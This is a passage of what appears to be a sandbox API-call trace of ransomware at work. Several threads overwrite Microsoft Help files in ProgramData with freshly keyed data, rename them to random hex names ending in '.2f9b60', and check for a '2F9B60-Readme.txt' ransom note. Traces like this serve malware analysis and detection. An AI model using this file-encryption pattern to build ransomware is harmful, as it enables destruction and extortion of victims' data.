DestinationString="b6200d6110d74c12e612aacb3334020d63c22835201287fe33a726bc9ed9450190c0f9b481332a288f4c312eceff") returned 0x0 [0086.854] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x118540 [0086.855] wcscat (in: _Dest=0x1b85c840, _Source="b6200d6110d74c12e612aac" | out: _Dest="C:\\ProgramData\\Microsoft Help\\b6200d6110d74c12e612aac") returned="C:\\ProgramData\\Microsoft Help\\b6200d6110d74c12e612aac" [0086.855] wcscat (in: _Dest=0x1b85c840, _Source=".2f9b60" | out: _Dest="C:\\ProgramData\\Microsoft Help\\b6200d6110d74c12e612aac.2f9b60") returned="C:\\ProgramData\\Microsoft Help\\b6200d6110d74c12e612aac.2f9b60" [0086.855] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft Help\\b6200d6110d74c12e612aac.2f9b60", NtPathName=0x2037f7d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft Help\\b6200d6110d74c12e612aac.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0086.855] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x1b7ad7a0 [0086.856] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad7a0) returned 1 [0086.856] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b77ad20) returned 1 [0086.856] NtQueryInformationFile (in: FileHandle=0x96c, IoStatusBlock=0x2037f838, FileInformation=0x2037f848, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2037f838, FileInformation=0x2037f848) returned 0x0 [0086.856] NtSetInformationFile (FileHandle=0x96c, IoStatusBlock=0x2037f838, FileInformation=0x2037f848, Length=0x28, FileInformationClass=0x4) returned 0x0 [0086.860] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85c840) returned 1 [0086.860] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118540) returned 1 [0086.860] FlushFileBuffers (hFile=0x96c) returned 1 [0086.861] CloseHandle (hObject=0x96c) returned 1 [0086.862] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b7c1f00 [0086.862] wcscpy (in: _Dest=0x1b7c1f00, _Source="C:\\ProgramData\\Microsoft Help\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0086.862] wcscat (in: _Dest=0x1b7c1f00, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\ProgramData\\Microsoft Help\\2F9B60-Readme.txt") returned="C:\\ProgramData\\Microsoft Help\\2F9B60-Readme.txt" [0086.862] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\2F9B60-Readme.txt" (normalized: "c:\\programdata\\microsoft help\\2f9b60-readme.txt")) returned 0x2020 [0086.862] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c1f00) returned 1 [0086.862] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dcf0) returned 1 Thread: id = 207 os_tid = 0xc6c [0086.867] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.MSACCESS.DEV.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.msaccess.dev.14.1033.hxn")) returned 0x2022 [0086.868] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.MSACCESS.DEV.14.1033.hxn", dwFileAttributes=0x20) returned 1 [0086.868] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.MSACCESS.DEV.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.msaccess.dev.14.1033.hxn"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x96c [0086.868] GetFileSizeEx (in: hFile=0x96c, lpFileSize=0x2065fbc0 | out: lpFileSize=0x2065fbc0*=368) returned 1 [0086.868] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0x16c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.868] ReadFile (in: hFile=0x96c, lpBuffer=0x2065fb40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2065fb88, lpOverlapped=0x0 | out: lpBuffer=0x2065fb40*, lpNumberOfBytesRead=0x2065fb88*=0x4, lpOverlapped=0x0) returned 1 [0086.869] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.869] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b260 [0086.869] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b200 [0086.869] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b1a0 [0086.869] NtQuerySystemTime (in: CurrentTime=0x2065fa80 | out: CurrentTime=0x2065fa80*=132462176927494000) returned 0x0 [0086.869] RtlRandomEx (in: Seed=0x2065fa70 | out: Seed=0x2065fa70) returned 0x4966f2e4 [0086.869] RtlRandomEx (in: Seed=0x2065fa70 | out: Seed=0x2065fa70) returned 0x3f08f2f1 [0086.869] RtlRandomEx (in: Seed=0x2065fa70 | out: Seed=0x2065fa70) returned 0xaa308b9 [0086.869] RtlRandomEx (in: Seed=0x2065fa70 | out: Seed=0x2065fa70) returned 0x73d10969 [0086.869] RtlRandomEx (in: Seed=0x2065fa70 | out: Seed=0x2065fa70) returned 0x33b1e82 [0086.869] RtlRandomEx (in: Seed=0x2065fa70 | out: Seed=0x2065fa70) returned 0x79463b02 [0086.869] RtlRandomEx (in: Seed=0x2065fa70 | out: Seed=0x2065fa70) returned 0x2ef51b4 [0086.869] RtlRandomEx (in: Seed=0x2065fa70 | out: Seed=0x2065fa70) returned 0x115eeac9 [0086.869] RtlRandomEx (in: Seed=0x2065fa70 | out: Seed=0x2065fa70) returned 0x7bec0eef [0086.869] RtlRandomEx (in: Seed=0x2065fa70 | out: Seed=0x2065fa70) returned 0x24026ae6 [0086.870] RtlRandomEx (in: Seed=0x2065fa70 | out: Seed=0x2065fa70) returned 0x5bdaa197 [0086.870] RtlRandomEx (in: Seed=0x2065fa70 | out: Seed=0x2065fa70) returned 0x13fc100c [0086.870] RtlRandomEx (in: Seed=0x2065fa70 | out: Seed=0x2065fa70) returned 0xeeb7790 [0086.870] RtlRandomEx (in: Seed=0x2065fa70 | out: Seed=0x2065fa70) returned 0xd1ca9c3 [0086.870] RtlRandomEx (in: Seed=0x2065fa70 | out: Seed=0x2065fa70) returned 0x3013c464 [0086.870] RtlRandomEx (in: Seed=0x2065fa70 | out: Seed=0x2065fa70) returned 0x194a5390 [0086.870] RtlRandomEx (in: Seed=0x2065fa70 | out: Seed=0x2065fa70) returned 0x1904154d [0086.870] RtlRandomEx (in: Seed=0x2065fa70 | out: Seed=0x2065fa70) returned 0x6be27a7b [0086.870] RtlRandomEx (in: Seed=0x2065fa70 | out: Seed=0x2065fa70) returned 0x1bc3ece4 [0086.870] RtlRandomEx (in: Seed=0x2065fa70 | out: Seed=0x2065fa70) returned 0x1a6405e0 [0086.870] RtlRandomEx (in: Seed=0x2065fa70 | out: Seed=0x2065fa70) returned 0x626dbd10 [0086.870] RtlRandomEx (in: Seed=0x2065fa70 | out: Seed=0x2065fa70) returned 0x683bd3ed [0086.870] RtlRandomEx (in: Seed=0x2065fa70 | out: Seed=0x2065fa70) returned 0x3dada95d [0086.870] RtlRandomEx (in: Seed=0x2065fa70 | out: Seed=0x2065fa70) returned 0x451a9a06 [0086.870] RtlRandomEx (in: Seed=0x2065fa70 | out: Seed=0x2065fa70) returned 0x2302c2ee [0086.870] RtlRandomEx (in: Seed=0x2065fa70 | out: Seed=0x2065fa70) returned 0x8a75c76 [0086.870] RtlRandomEx (in: Seed=0x2065fa70 | out: Seed=0x2065fa70) returned 0xdfb1f70 [0086.870] RtlRandomEx (in: Seed=0x2065fa70 | out: Seed=0x2065fa70) returned 0x39b2231d [0086.870] RtlRandomEx (in: Seed=0x2065fa70 | out: Seed=0x2065fa70) returned 0x22008439 [0086.870] RtlRandomEx (in: Seed=0x2065fa70 | out: Seed=0x2065fa70) returned 0x5b182885 [0086.870] RtlRandomEx (in: Seed=0x2065fa70 | out: Seed=0x2065fa70) returned 0x1c62d9f5 [0086.870] RtlRandomEx (in: Seed=0x2065fa70 | out: Seed=0x2065fa70) returned 0x36050766 [0086.876] ReadFile (in: hFile=0x96c, lpBuffer=0x1cda08c0, nNumberOfBytesToRead=0x170, lpNumberOfBytesRead=0x2065fa70, lpOverlapped=0x0 | out: lpBuffer=0x1cda08c0*, lpNumberOfBytesRead=0x2065fa70*=0x170, lpOverlapped=0x0) returned 1 [0086.877] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.877] WriteFile (in: hFile=0x96c, lpBuffer=0x1cda44d0*, nNumberOfBytesToWrite=0x170, lpNumberOfBytesWritten=0x2065fa74, lpOverlapped=0x0 | out: lpBuffer=0x1cda44d0*, lpNumberOfBytesWritten=0x2065fa74*=0x170, lpOverlapped=0x0) returned 1 [0086.881] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b260 [0086.881] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b1a0 [0086.881] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b1a0) returned 1 [0086.881] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cda44d0) returned 1 [0086.881] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cda08c0) returned 1 [0086.881] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dcf0) returned 1 [0086.881] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97210) returned 1 [0086.881] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x44) returned 0x1cd97210 [0086.882] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0086.882] WriteFile (in: hFile=0x96c, lpBuffer=0x1b7d3a20*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x2065fb90, lpOverlapped=0x0 | out: lpBuffer=0x1b7d3a20*, lpNumberOfBytesWritten=0x2065fb90*=0x128, lpOverlapped=0x0) returned 1 [0086.905] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0086.905] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dcf0 [0086.905] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b2c0 [0086.905] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b2c0) returned 1 [0086.905] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1cd9eeb0 [0086.905] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b2c0 [0086.905] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a930 [0086.906] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a930) returned 1 [0086.906] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dcf0) returned 1 [0086.906] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0086.906] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6d) returned 0x1b79dcf0 [0086.906] sprintf (in: _Dest=0x1b79dcf0, _Format="%c%c" | out: _Dest="e7") returned 2 [0086.906] sprintf (in: _Dest=0x1b79dcf2, _Format="%c%c" | out: _Dest="4e") returned 2 [0086.906] sprintf (in: _Dest=0x1b79dcf4, _Format="%c%c" | out: _Dest="c4") returned 2 [0086.906] sprintf (in: _Dest=0x1b79dcf6, _Format="%c%c" | out: _Dest="2b") returned 2 [0086.906] sprintf (in: _Dest=0x1b79dcf8, _Format="%c%c" | out: _Dest="b8") returned 2 [0086.906] sprintf (in: _Dest=0x1b79dcfa, _Format="%c%c" | out: _Dest="40") returned 2 [0086.906] sprintf (in: _Dest=0x1b79dcfc, _Format="%c%c" | out: _Dest="96") returned 2 [0086.906] sprintf (in: _Dest=0x1b79dcfe, _Format="%c%c" | out: _Dest="4a") returned 2 [0086.906] sprintf (in: _Dest=0x1b79dd00, _Format="%c%c" | out: _Dest="14") returned 2 [0086.906] sprintf (in: _Dest=0x1b79dd02, _Format="%c%c" | out: _Dest="8a") returned 2 [0086.906] sprintf (in: _Dest=0x1b79dd04, _Format="%c%c" | out: _Dest="07") returned 2 [0086.906] sprintf (in: _Dest=0x1b79dd06, _Format="%c%c" | out: _Dest="d2") returned 2 [0086.906] sprintf (in: _Dest=0x1b79dd08, _Format="%c%c" | out: _Dest="9f") returned 2 [0086.906] sprintf (in: _Dest=0x1b79dd0a, _Format="%c%c" | out: _Dest="54") returned 2 [0086.906] sprintf (in: _Dest=0x1b79dd0c, _Format="%c%c" | out: _Dest="46") returned 2 [0086.906] sprintf (in: _Dest=0x1b79dd0e, _Format="%c%c" | out: _Dest="13") returned 2 [0086.906] sprintf (in: _Dest=0x1b79dd10, _Format="%c%c" | out: _Dest="cb") returned 2 [0086.906] sprintf (in: _Dest=0x1b79dd12, _Format="%c%c" | out: _Dest="b6") returned 2 [0086.906] sprintf (in: _Dest=0x1b79dd14, _Format="%c%c" | out: _Dest="65") returned 2 [0086.906] sprintf (in: _Dest=0x1b79dd16, _Format="%c%c" | out: _Dest="c1") returned 2 [0086.906] sprintf (in: _Dest=0x1b79dd18, _Format="%c%c" | out: _Dest="74") returned 2 [0086.906] sprintf (in: _Dest=0x1b79dd1a, _Format="%c%c" | out: _Dest="ca") returned 2 [0086.906] sprintf (in: _Dest=0x1b79dd1c, _Format="%c%c" | out: _Dest="3d") returned 2 [0086.906] sprintf (in: _Dest=0x1b79dd1e, _Format="%c%c" | out: _Dest="08") returned 2 [0086.907] sprintf (in: _Dest=0x1b79dd20, _Format="%c%c" | out: _Dest="ad") returned 2 [0086.907] sprintf (in: _Dest=0x1b79dd22, _Format="%c%c" | out: _Dest="31") returned 2 [0086.907] sprintf (in: _Dest=0x1b79dd24, _Format="%c%c" | out: _Dest="e5") returned 2 [0086.907] sprintf (in: _Dest=0x1b79dd26, _Format="%c%c" | out: _Dest="94") returned 2 [0086.907] sprintf (in: _Dest=0x1b79dd28, _Format="%c%c" | out: _Dest="f2") returned 2 [0086.907] sprintf (in: _Dest=0x1b79dd2a, _Format="%c%c" | out: _Dest="1b") returned 2 [0086.907] sprintf (in: _Dest=0x1b79dd2c, _Format="%c%c" | out: _Dest="fa") returned 2 [0086.907] sprintf (in: _Dest=0x1b79dd2e, _Format="%c%c" | out: _Dest="dc") returned 2 [0086.907] sprintf (in: _Dest=0x1b79dd30, _Format="%c%c" | out: _Dest="ae") returned 2 [0086.907] sprintf (in: _Dest=0x1b79dd32, _Format="%c%c" | out: _Dest="a5") returned 2 [0086.907] sprintf (in: _Dest=0x1b79dd34, _Format="%c%c" | out: _Dest="de") returned 2 [0086.907] sprintf (in: _Dest=0x1b79dd36, _Format="%c%c" | out: _Dest="bd") returned 2 [0086.907] sprintf (in: _Dest=0x1b79dd38, _Format="%c%c" | out: _Dest="c7") returned 2 [0086.907] sprintf (in: _Dest=0x1b79dd3a, _Format="%c%c" | out: _Dest="4d") returned 2 [0086.907] sprintf (in: _Dest=0x1b79dd3c, _Format="%c%c" | out: _Dest="d4") returned 2 [0086.907] sprintf (in: _Dest=0x1b79dd3e, _Format="%c%c" | out: _Dest="44") returned 2 [0086.907] sprintf (in: _Dest=0x1b79dd40, _Format="%c%c" | out: _Dest="01") returned 2 [0086.907] sprintf (in: _Dest=0x1b79dd42, _Format="%c%c" | out: _Dest="fe") returned 2 [0086.907] sprintf (in: _Dest=0x1b79dd44, _Format="%c%c" | out: _Dest="48") returned 2 [0086.907] sprintf (in: _Dest=0x1b79dd46, _Format="%c%c" | out: _Dest="f7") returned 2 [0086.907] sprintf (in: _Dest=0x1b79dd48, _Format="%c%c" | out: _Dest="c5") returned 2 [0086.907] sprintf (in: _Dest=0x1b79dd4a, _Format="%c%c" | out: _Dest="10") returned 2 [0086.907] sprintf (in: _Dest=0x1b79dd4c, _Format="%c%c" | out: _Dest="7c") returned 2 [0086.907] sprintf (in: _Dest=0x1b79dd4e, _Format="%c%c" | out: _Dest="44") returned 2 [0086.907] sprintf (in: _Dest=0x1b79dd50, _Format="%c%c" | out: _Dest="6c") returned 2 [0086.907] sprintf (in: _Dest=0x1b79dd52, _Format="%c%c" | out: _Dest="b9") returned 2 [0086.907] sprintf (in: _Dest=0x1b79dd54, _Format="%c%c" | out: _Dest="51") returned 2 [0086.908] sprintf (in: _Dest=0x1b79dd56, _Format="%c%c" | out: _Dest="16") returned 2 [0086.908] sprintf (in: _Dest=0x1b79dd58, _Format="%c%c" | out: _Dest="3e") returned 2 [0086.908] sprintf (in: _Dest=0x1b79dd5a, _Format="%c%c" | out: _Dest="45") returned 2 [0086.908] RtlInitAnsiString (in: DestinationString=0x2065fc08, SourceString="e74ec42bb840964a148a07d29f544613cbb665c174ca3d08ad31e594f21bfadcaea5debdc74dd44401fe48f7c5107c446cb951163e45" | out: DestinationString="e74ec42bb840964a148a07d29f544613cbb665c174ca3d08ad31e594f21bfadcaea5debdc74dd44401fe48f7c5107c446cb951163e45") [0086.908] RtlAnsiStringToUnicodeString (in: DestinationString=0x2065fbd8, SourceString="e74ec42bb840964a148a07d29f544613cbb665c174ca3d08ad31e594f21bfadcaea5debdc74dd44401fe48f7c5107c446cb951163e45", AllocateDestinationString=1 | out: DestinationString="e74ec42bb840964a148a07d29f544613cbb665c174ca3d08ad31e594f21bfadcaea5debdc74dd44401fe48f7c5107c446cb951163e45") returned 0x0 [0086.908] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xda) returned 0x1b798170 [0086.908] wcscat (in: _Dest=0x1b85c840, _Source="e74ec42bb840964a148a07d29f5" | out: _Dest="C:\\ProgramData\\Microsoft Help\\e74ec42bb840964a148a07d29f5") returned="C:\\ProgramData\\Microsoft Help\\e74ec42bb840964a148a07d29f5" [0086.908] wcscat (in: _Dest=0x1b85c840, _Source=".2f9b60" | out: _Dest="C:\\ProgramData\\Microsoft Help\\e74ec42bb840964a148a07d29f5.2f9b60") returned="C:\\ProgramData\\Microsoft Help\\e74ec42bb840964a148a07d29f5.2f9b60" [0086.908] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft Help\\e74ec42bb840964a148a07d29f5.2f9b60", NtPathName=0x2065fbb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft Help\\e74ec42bb840964a148a07d29f5.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0086.908] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x1b7a5a70 [0086.914] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a5a70) returned 1 [0086.914] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b77ad20) returned 1 [0086.914] NtQueryInformationFile (in: FileHandle=0x96c, IoStatusBlock=0x2065fc18, FileInformation=0x2065fc28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2065fc18, FileInformation=0x2065fc28) returned 0x0 [0086.914] NtSetInformationFile (FileHandle=0x96c, IoStatusBlock=0x2065fc18, FileInformation=0x2065fc28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0086.915] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85c840) returned 1 [0086.915] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b798170) returned 1 [0086.915] FlushFileBuffers (hFile=0x96c) returned 1 [0086.916] CloseHandle (hObject=0x96c) returned 1 [0086.917] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b7c1f70 [0086.917] wcscpy (in: _Dest=0x1b7c1f70, _Source="C:\\ProgramData\\Microsoft Help\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0086.917] wcscat (in: _Dest=0x1b7c1f70, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\ProgramData\\Microsoft Help\\2F9B60-Readme.txt") returned="C:\\ProgramData\\Microsoft Help\\2F9B60-Readme.txt" [0086.917] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\2F9B60-Readme.txt" (normalized: "c:\\programdata\\microsoft help\\2f9b60-readme.txt")) returned 0x2020 [0086.917] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c1f70) returned 1 [0086.917] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dd70) returned 1 Thread: id = 208 os_tid = 0xc70 [0086.880] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.MSOUC.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.msouc.14.1033.hxn")) returned 0x2022 [0086.883] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.MSOUC.14.1033.hxn", dwFileAttributes=0x20) returned 1 [0086.883] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.MSOUC.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.msouc.14.1033.hxn"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x970 [0086.883] GetFileSizeEx (in: hFile=0x970, lpFileSize=0x2057fd60 | out: lpFileSize=0x2057fd60*=326) returned 1 [0086.883] SetFilePointerEx (in: hFile=0x970, liDistanceToMove=0x142, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.883] ReadFile (in: hFile=0x970, lpBuffer=0x2057fce0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2057fd28, lpOverlapped=0x0 | out: lpBuffer=0x2057fce0*, lpNumberOfBytesRead=0x2057fd28*=0x4, lpOverlapped=0x0) returned 1 [0086.884] SetFilePointerEx (in: hFile=0x970, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.884] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b170 [0086.884] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b140 [0086.884] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a870 [0086.884] NtQuerySystemTime (in: CurrentTime=0x2057fc20 | out: CurrentTime=0x2057fc20*=132462176927650000) returned 0x0 [0086.884] RtlRandomEx (in: Seed=0x2057fc10 | out: Seed=0x2057fc10) returned 0x2180bc7a [0086.884] RtlRandomEx (in: Seed=0x2057fc10 | out: Seed=0x2057fc10) returned 0x1448b496 [0086.884] RtlRandomEx (in: Seed=0x2057fc10 | out: Seed=0x2057fc10) returned 0x4587ad39 [0086.884] RtlRandomEx (in: Seed=0x2057fc10 | out: Seed=0x2057fc10) returned 0x5743a56a [0086.884] RtlRandomEx (in: Seed=0x2057fc10 | out: Seed=0x2057fc10) returned 0xfb0df4d [0086.884] RtlRandomEx (in: Seed=0x2057fc10 | out: Seed=0x2057fc10) returned 0xcf1d103 [0086.884] RtlRandomEx (in: Seed=0x2057fc10 | out: Seed=0x2057fc10) returned 0x79433598 [0086.884] RtlRandomEx (in: Seed=0x2057fc10 | out: Seed=0x2057fc10) returned 0x377bdee6 [0086.884] RtlRandomEx (in: Seed=0x2057fc10 | out: Seed=0x2057fc10) returned 0x71894f25 [0086.884] RtlRandomEx (in: Seed=0x2057fc10 | out: Seed=0x2057fc10) returned 0x122df260 [0086.884] RtlRandomEx (in: Seed=0x2057fc10 | out: Seed=0x2057fc10) returned 0x78fe06e3 [0086.884] RtlRandomEx (in: Seed=0x2057fc10 | out: Seed=0x2057fc10) returned 0x5071c0ac [0086.884] RtlRandomEx (in: Seed=0x2057fc10 | out: Seed=0x2057fc10) returned 0x3db68056 [0086.884] RtlRandomEx (in: Seed=0x2057fc10 | out: Seed=0x2057fc10) returned 0x5d1e76a8 [0086.885] RtlRandomEx (in: Seed=0x2057fc10 | out: Seed=0x2057fc10) returned 0x38c4f501 [0086.885] RtlRandomEx (in: Seed=0x2057fc10 | out: Seed=0x2057fc10) returned 0x483a8767 [0086.885] RtlRandomEx (in: Seed=0x2057fc10 | out: Seed=0x2057fc10) returned 0x5ac00b0b [0086.885] RtlRandomEx (in: Seed=0x2057fc10 | out: Seed=0x2057fc10) returned 0x40bf0da2 [0086.885] RtlRandomEx (in: Seed=0x2057fc10 | out: Seed=0x2057fc10) returned 0x1846dee9 [0086.885] RtlRandomEx (in: Seed=0x2057fc10 | out: Seed=0x2057fc10) returned 0xec92143 [0086.885] RtlRandomEx (in: Seed=0x2057fc10 | out: Seed=0x2057fc10) returned 0x77765052 [0086.885] RtlRandomEx (in: Seed=0x2057fc10 | out: Seed=0x2057fc10) returned 0x43839bac [0086.885] RtlRandomEx (in: Seed=0x2057fc10 | out: Seed=0x2057fc10) returned 0x67adbb3f [0086.885] RtlRandomEx (in: Seed=0x2057fc10 | out: Seed=0x2057fc10) returned 0x47fdca86 [0086.885] RtlRandomEx (in: Seed=0x2057fc10 | out: Seed=0x2057fc10) returned 0x55bae559 [0086.885] RtlRandomEx (in: Seed=0x2057fc10 | out: Seed=0x2057fc10) returned 0x226c5aa [0086.885] RtlRandomEx (in: Seed=0x2057fc10 | out: Seed=0x2057fc10) returned 0x1f3c72fb [0086.885] RtlRandomEx (in: Seed=0x2057fc10 | out: Seed=0x2057fc10) returned 0x71cd45a7 [0086.885] RtlRandomEx (in: Seed=0x2057fc10 | out: Seed=0x2057fc10) returned 0x55905f1c [0086.885] RtlRandomEx (in: Seed=0x2057fc10 | out: Seed=0x2057fc10) returned 0x36e36bd3 [0086.885] RtlRandomEx (in: Seed=0x2057fc10 | out: Seed=0x2057fc10) returned 0x2ad0a74f [0086.885] RtlRandomEx (in: Seed=0x2057fc10 | out: Seed=0x2057fc10) returned 0x16ff4d8c [0086.891] ReadFile (in: hFile=0x970, lpBuffer=0x1cda08c0, nNumberOfBytesToRead=0x146, lpNumberOfBytesRead=0x2057fc10, lpOverlapped=0x0 | out: lpBuffer=0x1cda08c0*, lpNumberOfBytesRead=0x2057fc10*=0x146, lpOverlapped=0x0) returned 1 [0086.891] SetFilePointerEx (in: hFile=0x970, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.891] WriteFile (in: hFile=0x970, lpBuffer=0x1cda44d0*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x2057fc14, lpOverlapped=0x0 | out: lpBuffer=0x1cda44d0*, lpNumberOfBytesWritten=0x2057fc14*=0x146, lpOverlapped=0x0) returned 1 [0086.893] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b170 [0086.893] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a870 [0086.893] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a870) returned 1 [0086.893] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cda44d0) returned 1 [0086.893] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cda08c0) returned 1 [0086.893] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dcf0) returned 1 [0086.893] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0086.893] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1cd9eeb0 [0086.894] SetFilePointerEx (in: hFile=0x970, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0086.894] WriteFile (in: hFile=0x970, lpBuffer=0x1b82f830*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x2057fd30, lpOverlapped=0x0 | out: lpBuffer=0x1b82f830*, lpNumberOfBytesWritten=0x2057fd30*=0x11a, lpOverlapped=0x0) returned 1 [0086.896] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0086.896] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dcf0 [0086.896] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) 